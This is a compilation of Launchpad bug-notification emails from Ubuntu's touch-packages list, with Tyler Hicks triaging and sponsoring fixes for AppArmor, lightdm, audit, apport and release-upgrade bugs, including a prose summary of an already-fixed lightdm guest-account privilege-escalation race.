https://bugs.launchpad.net/intel/+bug/1386257/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1766727] Re: initramfs-tools exception during pm.DoInstall with do-release-upgrade from 16.04 to 18.04

[Tyler Hicks]

Cascardo asked me to review and sponsor the s390-tools debdiff to
xenial-proposed. While I don't have a an easy way to test this change
myself, I've verified that it matches the changes from Adam Conrad in
Bionic and that the change looks reasonable. Cascardo ensured me that an
SRU is not needed in Artful since linux-hwe-edge is not present there.
I'm sponsoring this change to xenial-proposed.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1766727

Title:
  initramfs-tools exception during pm.DoInstall with  do-release-upgrade
  from 16.04 to 18.04

Status in Ubuntu on IBM z Systems:
  Fix Released
Status in initramfs-tools package in Ubuntu:
  Invalid
Status in linux package in Ubuntu:
  Invalid
Status in s390-tools package in Ubuntu:
  Fix Released
Status in ubuntu-release-upgrader package in Ubuntu:
  Invalid
Status in initramfs-tools source package in Xenial:
  New
Status in linux source package in Xenial:
  New
Status in s390-tools source package in Xenial:
  In Progress
Status in ubuntu-release-upgrader source package in Xenial:
  New

Bug description:
  Upgrading from 16.04 to 18.04 using 'do-release-upgrade -d' results
  in:

  Errors were encountered while processing:
   initramfs-tools
  Exception during pm.DoInstall():  E:Sub-process /usr/bin/dpkg returned an 
error code (1)

  Could not install the upgrades

  The upgrade has aborted. Your system could be in an unusable state. A
  recovery will run now (dpkg --configure -a).

  ---

  Processing triggers for systemd (237-3ubuntu10) ...
  Processing triggers for initramfs-tools (0.130ubuntu3) ...
  update-initramfs: Generating /boot/initrd.img-4.4.0-121-generic
  Using config file '/etc/zipl.conf'
  Error: Ramdisk file '/boot/initrd.img' in section 'ubuntu': No such file or 
directory
  run-parts: /etc/initramfs/post-update.d//zz-zipl exited with return code 1
  dpkg: error processing package initramfs-tools (--configure):
   installed initramfs-tools package post-installation script subprocess 
returned error exit status 1
  Processing triggers for ca-certificates (20180409) ...
  Updating certificates in /etc/ssl/certs...
  0 added, 0 removed; done.
  Running hooks in /etc/ca-certificates/update.d...
  done.
  Processing triggers for dictionaries-common (1.27.2) ...
  Processing triggers for linux-image-4.15.0-19-generic (4.15.0-19.20) ...
  /etc/kernel/postinst.d/initramfs-tools:
  update-initramfs: Generating /boot/initrd.img-4.15.0-19-generic
  Using config file '/etc/zipl.conf'
  Building bootmap in '/boot'
  Building menu 'menu'
  Adding #1: IPL section 'ubuntu' (default)
  Adding #2: IPL section 'old'
  Preparing boot device: dasdb (0104).
  Done.
  /etc/kernel/postinst.d/zz-zipl:
  Using config file '/etc/zipl.conf'
  Building bootmap in '/boot'
  Building menu 'menu'
  Adding #1: IPL section 'ubuntu' (default)
  Adding #2: IPL section 'old'
  Preparing boot device: dasdb (0104).
  Done.
  Processing triggers for sgml-base (1.29) ...
  Processing triggers for resolvconf (1.79ubuntu10) ...
  Processing triggers for ureadahead (0.100.0-20) ...
  Errors were encountered while processing:
   initramfs-tools
  Log ended: 2018-04-24  13:12:40
  --- 
  ApportVersion: 2.20.9-0ubuntu6
  Architecture: s390x
  DistroRelease: Ubuntu 18.04
  Package: ubuntu-release-upgrader
  PackageArchitecture: all
  ProcEnviron:
   TERM=xterm-256color
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=C
   SHELL=/bin/bash
  ProcVersionSignature: Ubuntu 4.15.0-19.20-generic 4.15.17
  Tags:  bionic
  Uname: Linux 4.15.0-19-generic s390x
  UpgradeStatus: Upgraded to bionic on 2018-04-24 (0 days ago)
  UserGroups: adm cdrom cpacfstats dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-z-systems/+bug/1766727/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1677924] Re: Local privilege escalation via guest user login

[Tyler Hicks]

@ogra it isn't obvious how the fix for this bug could have caused bug
1733557. Can you elaborate?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1677924

Title:
  Local privilege escalation via guest user login

Status in Light Display Manager:
  Fix Released
Status in Light Display Manager 1.18 series:
  Fix Released
Status in Light Display Manager 1.20 series:
  Fix Released
Status in Light Display Manager 1.22 series:
  Fix Released
Status in lightdm package in Ubuntu:
  Fix Released
Status in lightdm source package in Xenial:
  Fix Released
Status in lightdm source package in Yakkety:
  Fix Released
Status in lightdm source package in Zesty:
  Fix Released

Bug description:
  It was discovered that a local attacker could watch for lightdm's
  guest-account script to create a /tmp/guest-XX file and then quickly 
create
  the lowercase representation of the guest user's home directory before lightdm
  could. This allowed the attacker to have control of the guest user's home
  directory and, subsequently, gain control of an arbitrary directory in the
  filesystem which could lead to privilege escalation.

To manage notifications about this bug go to:
https://bugs.launchpad.net/lightdm/+bug/1677924/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1700232] Re: aa-logprof ignores dbus access

[Tyler Hicks]

There are currently no plans to SRU this fix to Ubuntu 16.04 LTS.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1700232

Title:
  aa-logprof ignores dbus access

Status in apparmor package in Ubuntu:
  Fix Released

Bug description:
  [76401.788233] audit: type=1107 audit(1498111942.039:17): pid=507 uid=106 
auid=4294967295 ses=4294967295 msg='apparmor="DENIED" 
operation="dbus_method_call" bus="system" path="/org/freedesktop/DBus" 
interface="org.freedesktop.DBus" member="Hello" mask="send" 
name="org.freedesktop.DBus" pid=4955 label="/usr/sbin/ejabberdctl//su" 
peer_label="unconfined"
  exe="/usr/bin/dbus-daemon" sauid=106 hostname=? addr=? 
terminal=?

  Is not recognized by aa-logprof .
  Ubuntu 16.04

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1700232/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1538340] Re: logparser.py parse_event_for_tree() doesn't care about owner vs. all in file events

[Tyler Hicks]

** Also affects: apparmor (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1538340

Title:
  logparser.py parse_event_for_tree() doesn't care about owner vs. all
  in file events

Status in AppArmor:
  Fix Released
Status in apparmor package in Ubuntu:
  New

Bug description:
  parse_event_for_tree() in logparser.py doesn't check 'fsuid' and
  'ouid' for file events.

  This would be needed to find out if an 'owner' rule is enough or not.

  
  For the records: 
   so it seems fsuid is the user ID of the running process
   and ouid is the file owner's user ID
   the filesystem uid, which is going to be the euid most of the time 
but some services may make it something else still (nfsd iirc?)

To manage notifications about this bug go to:
https://bugs.launchpad.net/apparmor/+bug/1538340/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1658236] Re: php abstraction not updated for php7

[Tyler Hicks]

This was fixed in Ubuntu 17.10 when the apparmor 2.11 based upload was
made.

** Changed in: apparmor (Ubuntu)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1658236

Title:
  php abstraction not updated for php7

Status in apparmor package in Ubuntu:
  Fix Released

Bug description:
  The php abstraction (also wrongly named php5 now) was not updated for
  php7. Attached is a diff I used...

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1658236/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1652101] Re: Can't create nested AppArmor namespaces

[Tyler Hicks]

** Summary changed:

- Can't created nested AppArmor namespaces
+ Can't create nested AppArmor namespaces

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1652101

Title:
  Can't create nested AppArmor namespaces

Status in apparmor package in Ubuntu:
  New
Status in linux package in Ubuntu:
  Confirmed

Bug description:
  A user with CAP_MAC_ADMIN in the init namespace can create an AppArmor
  policy namespace and load a profile belonging to that AppArmor
  namespace. Once that's done, the user can confine a process with that
  namespaced AppArmor profile and enter into a user namespace. That
  process can then load additional AppArmor profiles inside of the
  AppArmor and user namespace. Here's an example:

  We need to set up the namespace, n1, and load the profile, p1.
  $ export rules="file, signal, unix, dbus, ptrace, mount, pivot_root, 
capability,"
  $ sudo mkdir /sys/kernel/security/apparmor/policy/namespaces/n1
  $ echo "profile p1 { $rules }" | sudo apparmor_parser -qrn n1

  Now we enter into confinement using the AppArmor namespace and profile and 
then enter into an unprivileged user namespace
  $ aa-exec -n n1 -p p1 -- unshare -Ur

  We can now load profiles as the privileged user inside of the unprivileged 
user namespace
  # echo "profile test {}" | apparmor_parser -qr

  The reason for this bug report is that we cannot create a nested
  AppArmor policy namespace inside of the unprivileged user namespace

  # mkdir /sys/kernel/security/apparmor/policy/namespaces/n1/namespaces/p1
  mkdir: cannot create directory 
‘/sys/kernel/security/apparmor/policy/namespaces/n1/namespaces/p1’: Permission 
denied

  If that worked, we could adjust LXD to read
  /sys/kernel/security/apparmor/.ns_name to get the current AppArmor
  namespace, then create a new namespace under the current namespace,
  and leverage the nested namespace for its nested containers.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1652101/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1736841] Re: aa-decode can't decode the audit log which contains the proctitle string

[Tyler Hicks]

This was released in apparmor 2.12. The upstream commit is
3afbfed9eef56d029a9a5890e5c463165530d509

** Changed in: apparmor
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1736841

Title:
  aa-decode can't decode the audit log which contains the proctitle
  string

Status in AppArmor:
  Fix Released
Status in apparmor package in Ubuntu:
  New

Bug description:
  [Description of Problem]
  aa-decode can't decode the audit log which contains the proctitle string.
  ubuntu kernel version: 4.4.0-87-generic
  AppArmor tool version: 2.10.95

  [How To Reproduce]
  eg.
  # apparmor_parser -r /etc/apparmor.d/usr.sbin.tcpdump
  # cat /var/log/audit/audit.log
  type=AVC msg=audit(1512030686.240:8756): apparmor="STATUS" 
operation="profile_replace" profile="unconfined" name="/usr/sbin/tcpdump" 
pid=7464 comm="apparmor_parser"
  type=SYSCALL msg=audit(1512030686.240:8756): arch=c03e syscall=1 
success=yes exit=26273 a0=5 a1=2717b20 a2=66a1 a3=0 items=0 ppid=7463 pid=7464 
auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=9 
comm="apparmor_parser" exe="/sbin/apparmor_parser" key=(null)
  type=PROCTITLE msg=audit(1512030686.240:8756): 
proctitle=61707061726D6F725F706172736572002D72002F6574632F61707061726D6F722E642F7573722E7362696E2E74637064756D70

  # aa-decode 
61707061726D6F725F706172736572002D72002F6574632F61707061726D6F722E642F7573722E7362696E2E74637064756D70
  Decoded: apparmor_parser-r/etc/apparmor.d/usr.sbin.tcpdump

  # cat /var/log/audit/audit.log | aa-decode
  type=DAEMON_START msg=audit(1512030654.972:7242): auditd start, ver=2.4.5 
format=raw kernel=4.4.0-87-generic auid=4294967295 pid=7428 subj=unconfined  
res=success
  type=AVC msg=audit(1512030686.240:8756): apparmor="STATUS" 
operation="profile_replace" profile="unconfined" name="/usr/sbin/tcpdump" 
pid=7464 comm="apparmor_parser"
  type=SYSCALL msg=audit(1512030686.240:8756): arch=c03e syscall=1 
success=yes exit=26273 a0=5 a1=2717b20 a2=66a1 a3=0 items=0 ppid=7463 pid=7464 
auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=9 
comm="apparmor_parser" exe="/sbin/apparmor_parser" key=(null)
  type=PROCTITLE msg=audit(1512030686.240:8756): 
proctitle=61707061726D6F725F706172736572002D72002F6574632F61707061726D6F722E642F7573722E7362696E2E74637064756D70

  [Actual Result]
  aa-decode can decode a single string, but can not take an audit log on 
standard input and convert the hex-encoded string.

  [Expected Result]
  # cat /var/log/audit/audit.log | aa-decode
  type=DAEMON_START msg=audit(1512030654.972:7242): auditd start, ver=2.4.5 
format=raw kernel=4.4.0-87-generic auid=4294967295 pid=7428 subj=unconfined  
res=success
  type=AVC msg=audit(1512030686.240:8756): apparmor="STATUS" 
operation="profile_replace" profile="unconfined" name="/usr/sbin/tcpdump" 
pid=7464 comm="apparmor_parser"
  type=SYSCALL msg=audit(1512030686.240:8756): arch=c03e syscall=1 
success=yes exit=26273 a0=5 a1=2717b20 a2=66a1 a3=0 items=0 ppid=7463 pid=7464 
auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=9 
comm="apparmor_parser" exe="/sbin/apparmor_parser" key=(null)
  type=PROCTITLE msg=audit(1512030686.240:8756): 
proctitle=apparmor_parser-r/etc/apparmor.d/usr.sbin.tcpdump

  [How To Fix]
  fix the aa-decode shell script.

  --- utils/aa-decode 2013-01-01 14:15:04.0 -0500
  +++ utils/aa-decode.new 2017-11-30 02:39:13.78000 -0500
  @@ -70,7 +70,7 @@ fi
   while read line ; do

   # check if line contains encoded name= or profile=
  -if [[ "$line" =~ \ (name|profile)=[0-9a-fA-F] ]]; then
  +if [[ "$line" =~ \ (name|profile|proctitle)=[0-9a-fA-F] ]]; then

   # cut the encoded filename/profile name out of the line and decode it
   ne=`echo "$line" | sed 's/.* name=\([^ ]*\).*$/\\1/g'`
  @@ -79,9 +79,13 @@ while read line ; do
   pe=`echo "$line" | sed 's/.* profile=\([^ ]*\).*$/\\1/g'`
   pd="$(decode ${pe/\'/\\\'})"

  +pce=`echo "$line" | sed 's/.* proctitle=\([^ ]*\).*$/\\1/g'`
  +pcd="$(decode ${pce/\'/\\\'})"
  +
   # replace encoded name and profile with its decoded counterparts 
(only if it was encoded)
   test -n "$nd" && line="${line/name=$ne/name=\"$nd\"}"
   test -n "$pd" && line="${line/profile=$pe/profile=\"$pd\"}"
  +test -n "$pcd" && line="${line/proctitle=$pce/proctitle=\"$pcd\"}"

   fi

  [Workaround]
  if you can not decode the audit log, try to decode the single string.
  # aa-decode 
61707061726D6F725F706172736572002D72002F6574632F61707061726D6F722E642F7573722E7362696E2E74637064756D70
  Decoded: apparmor_parser-r/etc/apparmor.d/usr.sbin.tcpdump

To manage notifications about this bug go to:
https://bugs.launchpad.net/apparmor/+bug/1736841/+subscriptions

-- 
Mailing list: 

[Touch-packages] [Bug 1703520] Re: DNS resolving doesn't work in complain mode with dnsmasq and apparmor

[Tyler Hicks]

Closing this bug based on my last comment.

** Changed in: apparmor (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1703520

Title:
  DNS resolving doesn't work in complain mode with dnsmasq and apparmor

Status in apparmor package in Ubuntu:
  Fix Released

Bug description:
  After i have firefox, chromium-browser and dnsmasq profiled with sudo
  aa-autodep (complain-mode was used), i can not resolving websites.
  (Log is at the attachement)

  I have copied the profiles of the three programms from the top in 
/etc/apparmor.d/disable and after a reboot i can resolving websites.
  The network manager can connect with my router the whole time.

  I'm have Ubuntu 16.04.02 LTS with all updates. (11.07.2017 CEST)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1703520/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1700232] Re: aa-logprof ignores dbus access

[Tyler Hicks]

This was fixed some time ago with the apparmor 2.11 based upload to
Ubuntu 17.10.

** Changed in: apparmor (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1700232

Title:
  aa-logprof ignores dbus access

Status in apparmor package in Ubuntu:
  Fix Released

Bug description:
  [76401.788233] audit: type=1107 audit(1498111942.039:17): pid=507 uid=106 
auid=4294967295 ses=4294967295 msg='apparmor="DENIED" 
operation="dbus_method_call" bus="system" path="/org/freedesktop/DBus" 
interface="org.freedesktop.DBus" member="Hello" mask="send" 
name="org.freedesktop.DBus" pid=4955 label="/usr/sbin/ejabberdctl//su" 
peer_label="unconfined"
  exe="/usr/bin/dbus-daemon" sauid=106 hostname=? addr=? 
terminal=?

  Is not recognized by aa-logprof .
  Ubuntu 16.04

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1700232/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1724152] Re: ISST-LTE: pVM: aureport couldn't get the right auid from the audit log on ubuntu16.04

[Tyler Hicks]

This SRU has been stuck in xenial-proposed for too long so I decided to
go ahead and verify it myself. The zesty SRU is no longer valid since
zesty has went EoL. The xenial SRU works as expected using the Test Case
described in the bug description.

** Tags removed: verification-needed verification-needed-xenial 
verification-needed-zesty
** Tags added: verification-done verification-done-xenial

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to audit in Ubuntu.
https://bugs.launchpad.net/bugs/1724152

Title:
  ISST-LTE: pVM: aureport couldn't get the right auid from the audit log
  on ubuntu16.04

Status in The Ubuntu-power-systems project:
  Fix Committed
Status in audit package in Ubuntu:
  Invalid
Status in audit source package in Xenial:
  Fix Committed
Status in audit source package in Zesty:
  Fix Committed

Bug description:
  [Impact]

  The aureport command, part of the audit userspace utilities,
  incorrectly reports the user id of successful logins. "-1" is printed
  instead of the expected user id.

  [Test Case]

  As root, run `login`. Proceed as follows:

  1. Login with a blank username and any password
  2. Login with an invalid username and any password
  3. Login with a valid username and an invalid password
  4. Login with a valid username and a valid password
  5. Exit from the login shell
  6. Run `aureport -l` and examine the last for login records

  An unpatched aureport will print the following:

  
  # date time auid host term exe success event
  
  ...
  2. 10/17/2017 23:45:32 UNKNOWN ? /dev/pts/8 /bin/login no 97
  3. 10/17/2017 23:45:39 UNKNOWN ? /dev/pts/8 /bin/login no 99
  4. 10/17/2017 23:45:45 tyhicks ? /dev/pts/8 /bin/login no 101
  5. 10/17/2017 23:45:49 -1 ? /dev/pts/8 /bin/login yes 107

  A patch aureport will print the correct output:

  Login Report
  
  # date time auid host term exe success event
  
  ...
  2. 10/17/2017 23:52:44 UNKNOWN ? /dev/pts/8 /bin/login no 165
  3. 10/17/2017 23:52:52 UNKNOWN ? /dev/pts/8 /bin/login no 167
  4. 10/17/2017 23:52:58 tyhicks ? /dev/pts/8 /bin/login no 169
  5. 10/17/2017 23:53:02 1000 ? /dev/pts/8 /bin/login yes 175

  Note the "1000" in the auid column on the #5 row. It should *not* be
  "-1".

  [Regression Potential]

  The regression potential is limited due to the change only affecting a
  single line of code, the fix comes from upstream, and that the
  aureport utility is not critical.

  [Original Report]

  == Comment: #0 - Miao Tao Feng  - 2016-11-23 02:46:25 ==
  When we develop new testcase for audit, we found that command "aureport -l" 
print out wrong auid "-1"  on ubuntu16.04  and it should be 1000 according to 
the audit.log.

  The following are details:

  root@roselp2:~# aureport -l

  Login Report
  
  # date time auid host term exe success event
  
  1. 11/23/2016 02:20:12 -1 10.33.24.118 /dev/pts/0 /usr/sbin/sshd yes 18

  The auid "-1" on the above line should be "1000? according to the
  audit.log.

  root@roselp2:~# grep ":18" /var/log/audit/audit.log
  type=USER_LOGIN msg=audit(1479889212.292:18): pid=4177 uid=0 auid=1000 ses=4 
msg='op=login id=1000 exe="/usr/sbin/sshd" hostname=10.33.24.118 
addr=10.33.24.118 terminal=/dev/pts/0 res=success'

  root@roselp2:~# dpkg -s auditd
  Package: auditd
  Status: install ok installed
  Priority: extra
  Section: admin
  Installed-Size: 1051
  Maintainer: Ubuntu Developers 
  Architecture: ppc64el
  Source: audit
  Version: 1:2.4.5-1ubuntu2
  Depends: lsb-base (>= 3.0-6), mawk | gawk, init-system-helpers (>= 1.18~), 
libaudit1 (>= 1:2.4.2), libauparse0 (>= 1:2.3.1), libc6 (>= 2.17)
  Suggests: audispd-plugins

  root@roselp2:~# uname -a
  Linux roselp2 4.4.0-47-generic #68-Ubuntu SMP Wed Oct 26 19:38:24 UTC 2016 
ppc64le ppc64le ppc64le GNU/Linux

  root@roselp2:~# service auditd status
  ? auditd.service - Security Auditing Service
     Loaded: loaded (/lib/systemd/system/auditd.service; enabled; vendor 
preset: e
     Active: active (running) since Wed 2016-11-23 02:19:21 CST; 19s ago
   Main PID: 4085 (auditd)
     CGroup: /system.slice/auditd.service
     ??4085 /sbin/auditd -n

  Nov 23 02:19:21 roselp2 auditctl[4086]: enabled 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: failure 1
  Nov 23 02:19:21 roselp2 auditctl[4086]: pid 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: rate_limit 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog_limit 320
  Nov 23 02:19:21 roselp2 auditctl[4086]: lost 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog 0
  Nov 23 02:19:21 roselp2 auditctl[4086]: backlog_wait_time 15000
  Nov 23 02:19:21 roselp2 systemd[1]: Started Security 

[Touch-packages] [Bug 1663157] Re: Guest session processes are not confined in 16.10 and newer releases

[Tyler Hicks]

@rbalint can you please open a new bug to track re-enabling the guest
session with proper confinement rather than piggy back on this bug?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1663157

Title:
  Guest session processes are not confined in 16.10 and newer releases

Status in Light Display Manager:
  New
Status in lightdm package in Ubuntu:
  Triaged
Status in lightdm source package in Yakkety:
  Fix Released
Status in lightdm source package in Zesty:
  Fix Released
Status in lightdm source package in Artful:
  Fix Released

Bug description:
  Processes launched under a lightdm guest session are not confined by
  the /usr/lib/lightdm/lightdm-guest-session AppArmor profile in Ubuntu
  16.10, Ubuntu 17.04, and Ubuntu Artful (current dev release). The
  processes are unconfined.

  The simple test case is to log into a guest session, launch a terminal
  with ctrl-alt-t, and run the following command:

   $ cat /proc/self/attr/current

  Expected output, as seen in Ubuntu 16.04 LTS, is:

   /usr/lib/lightdm/lightdm-guest-session (enforce)

  Running the command inside of an Ubuntu 16.10 and newer guest session
  results in:

   unconfined

To manage notifications about this bug go to:
https://bugs.launchpad.net/lightdm/+bug/1663157/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1733366] Re: apport crashed with FileNotFoundError in is_container_pid(): [Errno 2] No such file or directory: '/proc/11102/ns/pid'

[Tyler Hicks]

Thanks for the updated debdiffs! They look pretty good to me but I'm
wondering if was intentional that True is returned when the "not
os.path.exists()" checks are true but the exception handler returns
False when os.readlink() throws an errno.ENOENT OSError exception? IIUC,
both situations occur when the namespace files don't exist but one
situation returns True and the other False.

Should both situations return True? If so, I can make those changes
before sponsoring so there's no need to upload new debdiffs.

** Changed in: apport (Ubuntu Artful)
   Status: Confirmed => Incomplete

** Changed in: apport (Ubuntu Artful)
 Assignee: (unassigned) => Brian Murray (brian-murray)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1733366

Title:
  apport crashed with FileNotFoundError in is_container_pid(): [Errno 2]
  No such file or directory: '/proc/11102/ns/pid'

Status in Apport:
  New
Status in apport package in Ubuntu:
  Fix Released
Status in apport source package in Xenial:
  Confirmed
Status in apport source package in Zesty:
  Confirmed
Status in apport source package in Artful:
  Incomplete
Status in apport source package in Bionic:
  Fix Released

Bug description:
  It appears that after login this was the first action performed by the
  system which resulted in the generation of the crash report.

  ProblemType: Crash
  DistroRelease: Ubuntu 18.04
  Package: apport 2.20.8-0ubuntu1
  ProcVersionSignature: Ubuntu 4.13.0-16.19-generic 4.13.4
  Uname: Linux 4.13.0-16-generic x86_64
  ApportVersion: 2.20.8-0ubuntu1
  Architecture: amd64
  CrashReports: 640:0:119:17503:2017-11-20 01:59:45.143901348 +0530:2017-11-20 
01:59:46.143901348 +0530:/var/crash/_usr_share_apport_apport.0.crash
  Date: Mon Nov 20 01:59:46 2017
  ExecutablePath: /usr/share/apport/apport
  InstallationDate: Installed on 2017-11-19 (1 days ago)
  InstallationMedia: Ubuntu 18.04.0 2017.11.11 amd64 "Unity 7 Desktop 
Experience Bionic Beaver"
  InterpreterPath: /usr/bin/python3.6
  PackageArchitecture: all
  ProcCmdline: /usr/bin/python3 /usr/share/apport/apport 11102 11 0 1 11102
  ProcEnviron:
   
  Python3Details: /usr/bin/python3.6, Python 3.6.3, python3-minimal, 
3.6.3-0ubuntu2
  PythonArgs: ['/usr/share/apport/apport', '11102', '11', '0', '1', '11102']
  PythonDetails: /root/Error: command ['which', 'python'] failed with exit code 
1:, Error: [Errno 2] No such file or directory: "/root/Error: command ['which', 
'python'] failed with exit code 1:": "/root/Error: command ['which', 'python'] 
failed with exit code 1:", unpackaged
  SourcePackage: apport
  Title: apport crashed with FileNotFoundError in is_container_pid(): [Errno 2] 
No such file or directory: '/proc/11102/ns/pid'
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups:

To manage notifications about this bug go to:
https://bugs.launchpad.net/apport/+bug/1733366/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1733366] Re: apport crashed with FileNotFoundError in is_container_pid(): [Errno 2] No such file or directory: '/proc/11102/ns/pid'

[Tyler Hicks]

** Changed in: apport (Ubuntu Artful)
 Assignee: Canonical Security Team (canonical-security) => (unassigned)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1733366

Title:
  apport crashed with FileNotFoundError in is_container_pid(): [Errno 2]
  No such file or directory: '/proc/11102/ns/pid'

Status in Apport:
  New
Status in apport package in Ubuntu:
  Fix Released
Status in apport source package in Xenial:
  Confirmed
Status in apport source package in Zesty:
  Confirmed
Status in apport source package in Artful:
  Confirmed
Status in apport source package in Bionic:
  Fix Released

Bug description:
  It appears that after login this was the first action performed by the
  system which resulted in the generation of the crash report.

  ProblemType: Crash
  DistroRelease: Ubuntu 18.04
  Package: apport 2.20.8-0ubuntu1
  ProcVersionSignature: Ubuntu 4.13.0-16.19-generic 4.13.4
  Uname: Linux 4.13.0-16-generic x86_64
  ApportVersion: 2.20.8-0ubuntu1
  Architecture: amd64
  CrashReports: 640:0:119:17503:2017-11-20 01:59:45.143901348 +0530:2017-11-20 
01:59:46.143901348 +0530:/var/crash/_usr_share_apport_apport.0.crash
  Date: Mon Nov 20 01:59:46 2017
  ExecutablePath: /usr/share/apport/apport
  InstallationDate: Installed on 2017-11-19 (1 days ago)
  InstallationMedia: Ubuntu 18.04.0 2017.11.11 amd64 "Unity 7 Desktop 
Experience Bionic Beaver"
  InterpreterPath: /usr/bin/python3.6
  PackageArchitecture: all
  ProcCmdline: /usr/bin/python3 /usr/share/apport/apport 11102 11 0 1 11102
  ProcEnviron:
   
  Python3Details: /usr/bin/python3.6, Python 3.6.3, python3-minimal, 
3.6.3-0ubuntu2
  PythonArgs: ['/usr/share/apport/apport', '11102', '11', '0', '1', '11102']
  PythonDetails: /root/Error: command ['which', 'python'] failed with exit code 
1:, Error: [Errno 2] No such file or directory: "/root/Error: command ['which', 
'python'] failed with exit code 1:": "/root/Error: command ['which', 'python'] 
failed with exit code 1:", unpackaged
  SourcePackage: apport
  Title: apport crashed with FileNotFoundError in is_container_pid(): [Errno 2] 
No such file or directory: '/proc/11102/ns/pid'
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups:

To manage notifications about this bug go to:
https://bugs.launchpad.net/apport/+bug/1733366/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1682102] Re: libseccomp should support GA and HWE kernels

[Tyler Hicks]

